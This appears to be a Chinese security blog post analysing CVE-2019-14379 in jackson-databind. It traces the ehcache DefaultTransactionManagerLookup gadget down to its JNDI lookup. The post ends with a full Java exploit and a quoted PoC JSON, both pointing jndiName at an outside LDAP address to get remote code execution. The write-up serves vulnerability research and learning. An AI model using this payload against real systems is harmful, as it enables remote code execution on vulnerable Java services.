最近想着分析jackson,jackson和fastjson有点相似,浅蓝大神的文章很好,个人受益匪浅
昨天简单说了下jackson的用法,现在继续拓扑,补充前置知识,前置知识补充的足够多,那么漏洞分析也不是难事了:
昨天忘了说的一个jackson知识点就是序列化和反序列化的时候,setName和getName调用顺序:
Student.java:
package com.test.JackSonTest; public class Student{ private String name; private Integer age; private Teacher teacher; public Student(){ System.out.println("student构造方法被调用"); }; public String getName() { System.out.println(11111); return name; } public void setName(String name) { System.out.println(2222); this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } public Teacher getTeacher() { return teacher; } public void setTeacher(Teacher teacher) { this.teacher = teacher; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + ", teacher=" + teacher + '}'; } }
在setName和getName处,新增输出语句:
调用测试类:
jackson序列化和反序列化:
@Test public void test2() throws IOException { //序列化 对象转json字符串 Student student = new Student(); student.setName("jack"); student.setAge(20); student.setTeacher(new Teacher("lua",33)); ObjectMapper objectMapper = new ObjectMapper(); //序列化JSON串时,在值上打印出对象类型 objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String result = objectMapper.writeValueAsString(student); System.out.println(result); //反序列化 json字符串转对象 String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]"; Student stu = objectMapper.readValue(jsonResult, Student.class); System.out.println(stu); }
输出结果:
student构造方法被调用 2222 11111 ["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}] student构造方法被调用 2222 teacher构造方法被调用 Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
结论:在序列化的时候调用set*,然后调用get*方法,反序列化的时候会调用set*方法,不会调用get*方法,调用反序列化的json数据对应的类构造方法
CVE-2019-14379漏洞分析:
影响jackson到2.9.9.1:
这个漏洞还是比较有意思的,其他的cve,我都看了下,都比较简单:
先安装漏洞环境依赖:
pom.xml:
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.8</version> </dependency> <dependency> <groupId>net.sf.ehcache</groupId> <artifactId>ehcache</artifactId> <version>2.10.6</version> </dependency> <dependency> <groupId>javax</groupId> <artifactId>javaee-api</artifactId> <version>6.0</version> </dependency>
单单有ehcache依赖是不行的,还得有javaee包,否则调用ehcache的时候,会提示找不到!
反序列化的恶意类是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup
因为代码量的原因,直接静态调试了,不是很难,通过反射进入代码:
进入类:
找到这段代码:
public void setProperties(Properties properties) { if (properties != null) { String jndiName = properties.getProperty("jndiName"); if (jndiName != null) { this.defaultJndiSelector.setJndiName(jndiName); } } }
获取jndiName的值,然后设置jndiName:
继续看这个类的其他方法:
public DefaultTransactionManagerLookup() { this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()}; }
定义数组,存储了这些数据,其中包含了this.defaultJndiSelector,这是重点,等下会用到
this.defaultJndiSelector的来源:
private final JndiSelector defaultJndiSelector = new GenericJndiSelector();
发现defaultJndiSelector实例化了GenericJndiSelector
这个等下要用到,这个先标记下.
继续看这个类的其他方法:getTransactionManager():
代码如下:
public TransactionManager getTransactionManager() { if (this.selector == null) { this.lock.lock(); try { if (this.selector == null) { this.lookupTransactionManager(); } } finally { this.lock.unlock(); } } return this.selector.getTransactionManager(); }
跟进去this.lookupTransactionManager():
其中
Selector[] var1 = this.transactionManagerSelectors; int var2 = var1.length;
获取的数组内容,就是DefaultTransactionManagerLookup类提供的,继续往下走代码:
跟进去:
public TransactionManager getTransactionManager() { if (this.transactionManager == null) { this.transactionManager = this.doLookup(); } return this.transactionManager; }
调用this.doLookup()方法:
跟进去:
跟进到了Selector类,发现这是个抽象类:
以前写文章说过,java基础:抽象类方法的实现在他的子类继承,如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.
寻找他的子类:
跟进去看看:
快速找doLookup的具体实现:
把代码搞出来:
protected TransactionManager doLookup() { InitialContext initialContext; try { initialContext = new InitialContext(); } catch (NamingException var14) { LOG.debug("cannot create initial context", var14); return null; } try { TransactionManager var3; try { Object jndiObject = initialContext.lookup(this.getJndiName()); if (jndiObject instanceof TransactionManager) { var3 = (TransactionManager)jndiObject; return var3; }
发现调用lookup,远程调用我们的jndiName,jndiName可以通过properties设置:
Object jndiObject = initialContext.lookup(this.getJndiName());
至此都分析完了,触发jndi远程调用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class
只要我们设置我们的jndiName为恶意地址,并且调用getTransactionManager方法,即可实现rce:
构造exp:
package com.test.JackSonTest; import com.fasterxml.jackson.databind.ObjectMapper; import com.mysql.jdbc.MiniAdmin; import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup; import org.jdom.transform.XSLTransformException; import org.jdom.transform.XSLTransformer; import java.io.IOException; import java.sql.SQLException; import java.util.Properties; public class attackJdbc { public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException { ObjectMapper objectMapper =new ObjectMapper(); Class.forName("org.jdom.transform.XSLTransformer"); Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup"); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]"; Object o = objectMapper.readValue(json2, Object.class); objectMapper.writeValueAsString(o); } }
这里要writeValueAsString序列化一次,是因为只有调用get方法的时候才能触发lookup远程调用,所以这里需要序列化一次
运行代码:
关于恶意json的构造,参考一开始写的测试类中序列化的生成,我是根据序列化生成json反推出来的恶意json
浅蓝提供的exp是:
String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";
这边执行提示我json格式错误...
真的学到了不少哈哈哈,还是比较有意思的,虽然实战很鸡肋..
漏洞分析参考文章:
https://b1ue.cn/archives/189.html